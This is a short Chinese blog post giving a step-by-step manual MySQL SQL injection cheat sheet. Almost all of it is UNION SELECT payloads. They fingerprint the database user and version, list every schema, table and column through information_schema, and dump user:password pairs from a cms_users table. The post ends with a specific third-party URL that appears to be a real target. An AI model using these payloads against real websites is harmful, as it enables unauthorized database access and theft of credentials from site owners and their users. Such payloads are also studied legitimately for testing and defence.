mysql手工注入

//判断前缀与后缀


数字与字符型  'order by 1#      'and 's' IN ('swords')#     


数字型   order by 1#   //前缀为空,后缀为#  




数字与字符 ')order by 1#    ')&& 's' IN ('swords')#  




//很少见  ")order by 1#




//确定字段数'order by $#后,id=-1'       #进行U或E查询






//若有3个字段,确定显示位


//查看基本信息,确认是否是root


id=-1'union select 1,2,3,concat_ws(char(32,58,32),0x7c,user(),database(),version()),5%23


//!root权限,爆出所有数据库名


id=-1'union select 1,2,3,unhex(hex(group_concat(schema_name))),5 from information_schema.schemata#     




//查询某个数据库下所有表,当前数据库用database(),0x7068706161是phpaa的hex编码


union select 1,2,3,unhex(hex(group_concat(table_name))),5 from information_schema.tables where table_schema=0x7068706161,




//查询某个表下的所有字段




union select 1,2,unhex(hex(group_concat(column_name))),4 from information_schema.columns where 
table_name=0x636D735F7573657273


//查询数据


union select 1,2,group_concat(DISTINCT+user,0x3a,password)12,13,14,15 from phhaa.cms_users


http://m.yicp.com/news/newslist.php?categoryId=15
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值